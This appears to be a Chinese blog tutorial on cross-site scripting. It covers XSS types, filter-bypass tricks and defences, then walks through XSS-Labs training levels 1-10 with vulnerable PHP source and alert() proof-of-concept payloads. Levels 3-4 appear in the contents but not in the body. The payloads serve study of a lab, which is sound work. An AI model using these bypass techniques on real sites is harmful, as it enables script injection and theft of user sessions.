XSS介绍&通关XSS-Labs靶场

目录

XSS

XSS的类型

1.存储型XSS(PXSS):

[2. 反射型XSS(N-PXSS):](#2. 反射型XSS(N-PXSS):)

[3. DOM型XSS:](#3. DOM型XSS:)

[4. 突变型XSS(mXSS):](#4. 突变型XSS(mXSS):)

[5. 通用型XSS(UXSS):](#5. 通用型XSS(UXSS):)

危害

绕过

[1. 绕过输入过滤](#1. 绕过输入过滤)

2.绕过输出编码

[3. 绕过CSP(内容安全策略)](#3. 绕过CSP(内容安全策略))

[4. DOM型XSS绕过](#4. DOM型XSS绕过)

[5. 利用浏览器特性](#5. 利用浏览器特性)

[6. 利用WAF(Web应用防火墙)规则缺陷](#6. 利用WAF(Web应用防火墙)规则缺陷)

[7. 利用第三方库漏洞](#7. 利用第三方库漏洞)

防御措施

1.输入过滤与输出编码:

[2. 使用安全库:](#2. 使用安全库:)

[3. 设置HTTP头:](#3. 设置HTTP头:)

4.定期安全测试:

XSS-Labs

XSS-Labs下载地址

[level 1 基础XSS注入](#level 1 基础XSS注入)

源码

攻击Payload

[level 2 HTML实体转义](#level 2 HTML实体转义)

源码

攻击Payload

[level 3 onfocus事件绕过](#level 3 onfocus事件绕过)

源码

攻击Payload

[level 4 onfocus事件绕过](#level 4 onfocus事件绕过)

源码

攻击Payload

[level 5 过滤onfocuys事件](#level 5 过滤onfocuys事件)

源码

攻击Payload

[level 6 大小写绕过](#level 6 大小写绕过)

源码

攻击Payload

[level 7 双拼写绕过](#level 7 双拼写绕过)

源码

攻击Payload

[level 8 Href属性自动解析 Unicode编码](#level 8 Href属性自动解析 Unicode编码)

源码

攻击Payload

[level 9 注释绕过http://过滤](#level 9 注释绕过http://过滤)

源码

攻击Payload

[level 10 隐藏input标签绕过](#level 10 隐藏input标签绕过)

源码

攻击Payload

[level 11 HTTP Referer 头传参](#level 11 HTTP Referer 头传参)

源码

攻击Payload

[level 12 User-Agent头传参](#level 12 User-Agent头传参)

源码

攻击Payload

[level 13 Cookie头传参](#level 13 Cookie头传参)

源码

攻击Payload


XSS

XSS(跨站脚本攻击,Cross-Site Scripting)是一种常见的网络安全漏洞,攻击者通过注入恶意脚本到网页中,当其他用户访问该页面时,脚本会在其浏览器中执行,从而窃取信息、篡改内容或进行其他恶意操作。

XSS的类型

1.存储型XSS(PXSS):

恶意脚本被永久存储在服务器上(如数据库),当用户访问相关页面时,脚本从服务器加载并执行。

常见于用户输入内容(如评论、留言)未经过滤的场景,如论坛、博客、留言板等交互功能。

2. 反射型XSS(N-PXSS):

恶意脚本通过URL参数传递,服务器未过滤直接返回给用户,浏览器执行该脚本。

通常通过诱骗用户点击恶意链接,窃取 Cookie实施攻击。

3. DOM型XSS:

攻击利用客户端脚本(如JavaScript)动态修改页面DOM结构,恶意脚本通过URL或其他方式注入。

完全在客户端发生,发生在前端 JavaScript 解析阶段,不涉及服务器。

4. 突变型XSS(mXSS):

由于浏览器的 HTML 解析机制,导致原本安全的代码在渲染后变成 XSS 攻击代码。

通常应用于富文本编辑器、动态属性修改等。

5. 通用型XSS(UXSS):

通过利用浏览器或浏览器扩展的漏洞,突破同源策略,执行恶意代码。

影响范围更广,攻击者可以在多个网站上利用此漏洞。

危害

窃取用户数据:如Cookie、会话信息。

篡改网页内容:显示虚假信息或重定向到恶意网站。

传播恶意软件:通过脚本下载或安装恶意软件。

绕过

XSS Payload 绕过方式是指攻击者通过各种技巧绕过防护机制,成功注入并执行恶意脚本。以下是一些常见的绕过方式及其原理:

1. 绕过输入过滤

大小写混淆:防护机制可能只过滤特定大小写的标签或关键字,攻击者可以通过大小写混合绕过。

python 复制代码
<sCriPt>alert(1)</sCriPt>

双写绕过:如果防护机制只替换一次关键字,攻击者可以通过双写绕过。

python 复制代码
<scr<script>ipt>alert(1)</script>

编码绕过:使用URL编码、HTML实体编码或Unicode编码绕过过滤。

python 复制代码
%3Cscript%3Ealert(1)%3C/script%3E       /URL编码
&lt;script&gt;alert(1)&lt;/script&gt    /HTML实体编码

特殊字符绕过:使用换行符、Tab符或其他不可见字符绕过过滤。

python 复制代码
<script\t>alert(1)</script>

2.绕过输出编码

利用未编码的上下文:如果输出编码不完整,攻击者可以找到未编码的上下文注入Payload。

python 复制代码
<a href="USER_INPUT">    /如果未对URL属性编码,可以注入`javascript:alert(1)`

利用HTML属性:如果输出编码未处理HTML属性,攻击者可以通过事件属性注入Payload。

python 复制代码
<img src=x onerror=alert(1)>

利用JavaScript上下文:如果输出在JavaScript代码中,攻击者可以闭合字符串并注入Payload。

python 复制代码
<script>var userInput = "USER_INPUT";</script>    /注入`"; alert(1); //`

3. 绕过CSP(内容安全策略)

利用允许的域名:如果CSP允许加载特定域名的脚本,攻击者可以尝试在该域名上托管恶意脚本。

利用JSONP端点:如果CSP允许加载JSONP端点,攻击者可以利用JSONP回调函数执行恶意代码。

利用CSP配置错误:如果CSP配置不严格(如允许`unsafe-inline`或`unsafe-eval`),攻击者可以直接注入Payload。

4. DOM型XSS绕过

利用URL片段:DOM型XSS通常通过`location.hash`或`location.search`注入Payload。

python 复制代码
https://example.com/#<img src=x onerror=alert(1)>

绕过DOM过滤:如果客户端脚本对输入进行了简单过滤,攻击者可以通过编码或特殊字符绕过。

python 复制代码
eval(decodeURIComponent(USER_INPUT))    /注入`%61%6C%65%72%74%28%31%29`(即`alert(1)`的URL编码)

5. 利用浏览器特性

"SVG标签":SVG标签支持JavaScript事件,可以绕过一些过滤机制。

python 复制代码
<svg/onload=alert(1)>

HTML5新标签:使用HTML5新标签或属性绕过传统过滤规则。

python 复制代码
<details open ontoggle=alert(1)>

动态属性:使用动态属性绕过静态过滤。

python 复制代码
<img src=x [attributename]=alert(1)>

6. 利用WAF(Web应用防火墙)规则缺陷

分块传输:将Payload分块传输,绕过WAF的检测。

混淆Payload:使用复杂的编码或混淆技术绕过WAF的正则表达式检测。

利用WAF白名单:如果WAF对某些域名或路径放行,攻击者可以尝试在这些地方注入Payload。

7. 利用第三方库漏洞

jQuery漏洞:如果网站使用了旧版本的jQuery,攻击者可以利用已知漏洞绕过防护。

富文本编辑器漏洞:富文本编辑器(如TinyMCE、CKEditor)可能存在XSS漏洞,攻击者可以利用这些漏洞注入Payload。

防御措施

1.输入过滤与输出编码:

对用户输入进行严格过滤,输出时进行编码,防止脚本执行。

2. 使用安全库:

使用安全的库和框架,自动处理XSS防护。

3. 设置HTTP头:

使用`Content-Security-Policy`(CSP)限制脚本来源,减少XSS风险。

4.定期安全测试:

定期进行安全测试,及时发现并修复漏洞。

通过这些措施,可以有效降低XSS攻击的风险。

XSS-Labs

XSS-Labs下载地址

html 复制代码
https://github.com/do0dl3/xss-labs

level 1 基础XSS注入

源码

python 复制代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

查看源码可知,GET传参name的值会被插入HTML代码中,并且未进行任何过滤

攻击Payload

html 复制代码
name=<script>alert()</script>

alert()作为基础 XSS 测试手段,直接插入<script>标签即可执行 XSS.

level 2 HTML实体转义

源码

python 复制代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

第一处name参数会进行 HTML 实体转义,但第二处没有。需要闭合 " 以跳出属性值,插入 JS 代码。

攻击Payload

html 复制代码
"> <script>alert()</script> <"

通过 " 闭合绕过 HTML 实体转义;观察哪些地方未被转义,寻找突破口。

level 5 过滤onfocuys事件

源码

python 复制代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

onfocus被替换成 o_nfocus;过滤了 <script>onfocus,但 <a> 标签仍然可用。

攻击Payload

html 复制代码
"> <a href=javascript:alert()>xxx</a> <"

利用 <a> 标签的 href 执行 JS 代码,但需确保 '"'未被过滤,否则需额外绕过。

level 6 大小写绕过

源码

python 复制代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

str_replace()过滤了常见 XSS 关键字,但未进行大小写转换

攻击Payload

html 复制代码
"> <sCript>alert()</sCript> <"

str_replace()直接替换,但未考虑大小写,可用大小写绕过。

level 7 双拼写绕过

源码

python 复制代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

过滤了 scriptonfocus 等,并强制小写转换。

攻击Payload

python 复制代码
"> <a hrehreff=javasscriptcript:alert()>x</a> <"

通过双拼写绕过关键字删除,适用于 str_replace() 进行删除的情况。

level 8 Href属性自动解析 Unicode编码

源码

python 复制代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

过滤了 <script>onfocushref,但 href 仍然解析 Unicode 编码。

攻击Payload

python 复制代码
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

href会自动解析 Unicode 编码,适用于无法直接插入 javascript: 的情况。

level 9 注释绕过http://过滤

源码

python 复制代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

需要 http:// 才能通过 strpos() 检测。

攻击Payload

python 复制代码
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* http:// */

先插入 http:// 绕过检测,再用 /* */ 注释掉。

level 10 隐藏input标签绕过

源码

python 复制代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level11.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

GET 传参 t_sort 可以绕过,但 <input> 被隐藏。

攻击Payload

html 复制代码
?t_sort=" onfocus=javascript:alert() type="text

type="text" 使隐藏的 <input> 可见,从而触发事件。

相关推荐
顺凡11 分钟前
深入剖析 Browser Use:49.9K+ Star 的 AI 驱动浏览器自动化框架
前端·aigc·测试
沐土Arvin28 分钟前
深入 SVG:矢量图形、滤镜与动态交互开发指南
开发语言·前端·javascript·css·html
IT、木易37 分钟前
如何利用 CSS 的clip - path属性创建不规则形状的元素,应用场景有哪些?
前端·css
2501_9068007644 分钟前
低代码配置式组态软件-BY组态
前端·后端·物联网·低代码·数学建模·web
海盗强1 小时前
vue子组件生命周期的执行顺序
前端·javascript·vue.js
渔樵江渚上1 小时前
再谈H5首页白屏时间太久问题优化
前端·javascript·面试
凉生阿新1 小时前
【React】基于 React+Tailwind 的 EmojiPicker 选择器组件
前端·react.js·前端框架
James5062 小时前
Ubuntu平台下安装Node相关环境
前端·javascript·vue.js·node·yarn·pm2·nvm
修复bug2 小时前
Uniapp自定义TabBar组件全封装实践与疑难问题解决方案
前端·javascript·vue.js·uni-app·开源